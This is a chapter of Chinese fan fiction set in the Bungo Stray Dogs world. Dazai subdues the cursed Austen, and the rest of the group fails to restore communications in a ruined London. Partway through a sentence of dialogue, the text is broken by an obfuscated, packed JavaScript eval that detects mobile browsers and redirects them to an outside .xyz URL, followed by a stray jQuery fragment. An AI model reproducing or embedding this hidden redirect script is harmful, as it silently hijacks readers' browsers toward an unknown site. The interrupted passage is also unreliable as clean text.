奥斯汀明显成了诅咒病毒的感染者，但与其他完全失去自我、只是被动执行女王指令的傀儡不同，奥斯汀的脸上交织着痛苦与茫然，喉咙里不时发出压抑的、仿佛在与某种无形力量抗争的呜咽。
她似乎还残存着一丝微弱的自我意识，但这意识正被诅咒疯狂侵蚀。
“奥斯汀小姐……”新垣祐希捂住嘴，眼中充满不忍。
“她被感染了，但好像……还有点自己的意识？”太宰治观察着，鸢色的眼眸微微眯起。
就在这时，奥斯汀似乎察觉到了他们的存在，猛地转过头！那双空洞的眼睛里瞬间爆发出狂躁的杀意，嘶吼着朝他们扑来！速度远超普通感染者！
魏尔伦眼神一冷，正要出手将其制服，太宰治却抢先一步跨出！
“等等，魏尔伦先生！让我来！”
太宰治不退反进，迎着扑来的奥斯汀，【人间失格】的微光在他双手浮现。
他没有选择硬碰硬，而是如同斗牛士般灵巧地侧身闪过奥斯汀凌厉的抓击，同时双手快如闪电地探出，精准地拍在了奥斯汀的双肩和额头！
黑光一闪！
“呃啊——！”奥斯汀发出一声尖锐的、仿佛解脱又似痛苦的叫声，前冲的势头戛然而止！
奥斯汀周身的狂躁气息如同被戳破的气球般骤然消散，眼中那疯狂的血色也迅速褪去，取而代之的是一种极度的疲惫和茫然。
她踉跄几步，软软地跪倒在地，剧烈地喘息着，暂时失去了攻击性。
【人间失格】的效果立竿见影，它并非治愈了感染，而是强行“无效化”了那股正在操控她身体的、活跃的诅咒能量，让她残存的自我意识暂时夺回了身体的控制权。
“就是现在！”太宰治喝道。
魏尔伦立刻上前，用早已准备好的特殊绳索，将虚弱的奥斯汀小心地捆绑起来，避免她再次失控伤人。
他的动作干脆利落，但并未过分粗暴。
新垣祐希也赶紧跑过来，蹲下身，看着眼神逐渐恢复些许清明的奥斯汀，轻声呼唤：“奥斯汀小姐？你能听到我吗？你感觉怎么样？”
新垣祐希快速动用异能，想要逆转她身上的时间。
但奥斯汀所中的诅咒是和蔓延整片大陆的诅咒相通的，新垣祐希的能力还无法回溯整个大陆的时空，救不了奥斯汀。
太宰治的情况类似，他无法无效化这片诅咒，便救不了奥斯汀回归正常，只能勉强帮她排除一点影响。
奥斯汀一脸病容，艰难地抬起头，目光涣散地聚焦在祐希脸上，断断续续地吐出几个词：“书……书页……诅咒……不对……方向……错了……”
她的声音沙哑得如同破风箱，显然承受着巨大的痛苦。
“方向错了？”太宰治捕捉到这个关键词，蹲下来看着她，“什么方向错了？奥斯汀小姐，你还记得发生了什么吗？敦和镜花他们在哪里？”
奥斯汀痛苦地闭上眼睛，似乎在与脑海中的混乱信息作斗争，半晌才艰难地说：“……分开……跑了……追兵……很多……我……拖累了……他们……”
泪水混合着污迹从她眼角滑落：“诅咒……女王……是……源头，同时也是，是……工具……”
她提供的信息虽然破碎，却印证了新垣祐希之前的怀疑——诅咒背后另有黑手！
而且，她提到了与敦等人失散的大致情况，这也是某些人的计划。
“好了，先别想了，保存体力。”新垣祐希只能尽力安抚她，用手帕轻轻擦拭她额头的冷汗。
太宰治和魏尔伦对视一眼。
虽然找到了奥斯汀，并获得了一些关键信息，但同伴依旧失散，局势依旧不容乐观。
“先找个更隐蔽的地方。”魏尔伦做出决定，“我们需要从她这里知道更多，也要想办法缓解她的痛苦。”
“我能感觉到那个地下祭坛的力量，不是欧洲那边能凭空长出来的，那大概率与北美还有关联。”新垣祐希说着，思索着，“去找马尔克斯先生，去找真正的始作俑者，似乎都指向那个方向……”
“现在还考虑不到那么远，有人想把我们分开，这可不好，”太宰治说道，“先想办法和敦他们重新联系上，不能如那些人的愿。”
他们三人商量着情况的同时，中岛敦几人也在复盘现状。
临时藏身处，废弃的地铁信号调度室，环境比之前糟糕不少。
空气中弥漫着铁锈和机油的气味，昏暗的应急灯提供着唯一的光源，将众人疲惫的身影拉长在布满控制台和废弃线路的墙壁上。
中岛敦烦躁地抓了抓头发，虎尾不安地甩动着：“还是联系不上！一点信号都没有！魏尔伦先生和太宰先生他们到底怎么样了？”
泉镜花安静地坐在他身边，夜叉白雪的虚影在她身后若隐若现，她轻声说：“他们很强，一定会没事的。”
但紧握的拳头暴露了她内心的担忧。
“光等着不是办法，”与谢野晶子直起身，语气果断，“我们必须主动做点什么。信号中断肯定是女王搞的鬼，或者是那个诅咒力场的影响。找到原因，也许就能恢复通讯。”
玛丽·雪莱一直凝视着调度室里那些废弃的通讯设备，若有所思。
她走上前，轻轻拂去一台主控终端上的灰尘：“与谢野医生说得对。伦敦有一套备用的、部分独立于公共网络的紧急通讯线路，主要是为了应对重大灾难。理论上，它应该比民用网络更坚固一些。”
敦立刻来了精神：“玛丽小姐，你知道怎么启动它吗？”
玛丽摇了摇头，手指划过冰冷的控制面板：“完整的启动需要授权和密码，我们不可能有。但是……或许我们可以尝试‘借用’它的物理线路。这些线路很多埋设在地下，如果能找到其中一个未被完全破坏的节点，将我们的设备接上去，也许能绕过地面的干扰。”
“就像……给手机找根网线？”中岛敦努力理解着。
“可以这么理解。”玛丽点点头，“但这非常危险，主要的节点枢纽很可能有女王的傀儡守卫，或者受到更强的诅咒能量侵蚀。而且，我们对地下线路的具体布局知之甚少。”
“总比在这里干等强！”中岛敦眼神坚定起来，“镜花，你留下，我去找那个节点！”
“不行！”泉镜花立刻反对，“太危险了，敦君一个人去我不放心！”
“我也不同意，”与谢野晶子抱臂道，“你小子别想逞英雄。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546075|150646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要去也得有个照应。”
玛丽看着他们，提出了一个折中的方案：“或许……我们不需要去主要的枢纽。我知道这附近有一个小型的、为本地警务服务的通讯中继站，位置比较隐蔽。虽然规模小，但如果运气好，它的线路可能也并入了部分紧急网络。我们可以先去那里试试看。”
这个提议显然风险要小得多。
中岛敦和镜花对视一眼，都看到了对方眼中的同意。
“好！那就先去那个中继站！”中岛敦握紧拳头，“无论如何，我们得尽快和魏尔伦先生他们联系上！不能再分开了！”
“行动要快，”与谢野晶子提醒道，“我们不能在一个地方停留太久。”
在玛丽的带领下，中岛敦和泉镜花小心翼翼地穿过通往地面中继站的隐蔽通道。
中继站藏在一栋不起眼的建筑废墟内部，果然如玛丽所料，只有几个行动迟缓的傀儡在附近游荡，被中岛敦和镜花迅速而安静地解决了。
然而，希望很快破灭。
中继站内部损毁严重，关键设备被砸烂，线路被某种力量粗暴地扯断甚至熔化。
更令人不安的是，残留的设备和线路上覆盖着一层薄薄的、散发着微弱诅咒气息的黑色物质，如同有生命的苔藓，还在缓缓蠕动。
“不行，”玛丽检查后，脸色难看地摇头，“线路被物理破坏和能量污染双重阻断。就算我能临时接上几条线，这种诅咒的干扰也会让任何信号变成毫无意义的杂音。女王……或者她背后的力量，显然考虑到了这种可能性，提前摧毁了这些备用节点。”
中岛敦不甘心地一拳砸在墙上：“可恶！难道就没有别的办法了吗？”
泉镜花默默拉住他的衣角，摇了摇头。现实摆在眼前，这条看似最直接的路，走不通了。
三人无功而返，带着沉重的消息回到地下调度室。
与谢野晶子听完汇报，只是冷哼一声：“果然没这么简单。那现在怎么办？继续像老鼠一样躲下去，直到奥斯汀完全变成怪物，或者我们被耗死在这里？”
压抑的沉默笼罩着众人。
躲藏是死路，联络外界失败，似乎所有的出路都被堵死了。
就在这时，一直沉默的泉镜花抬起了头，眼中闪过一丝决绝的光芒：“也许……我们一直想错了方向。”
所有人的目光都集中在她身上。
“我们一直在想如何‘避开’女王，如何‘联络’外界。”泉镜花的声音清晰而冷静，“但或许，解决问题的钥匙，恰恰在于‘直面’她本身。”
“直面女王？”中岛敦愕然。
“没错，”泉镜花继续说道，“女王是目前一切混乱的中心。她掌控着大本钟，扭曲时间，控制民众。但她也可能是唯一能‘解除’这一切的人——无论是以合作的方式，还是被迫的方式。”
与谢野晶子挑眉：“你是说，我们去自投罗网？”
“不，是‘谈判’，或者……‘斩首’。”泉镜花的目光扫过众人，“而且，别忘了，中原中也先生很可能还在她手上。我们不能再失去任何同伴了。”
“但是，怎么接近她？大本钟现在肯定是龙潭虎穴。”中岛敦提出关键问题。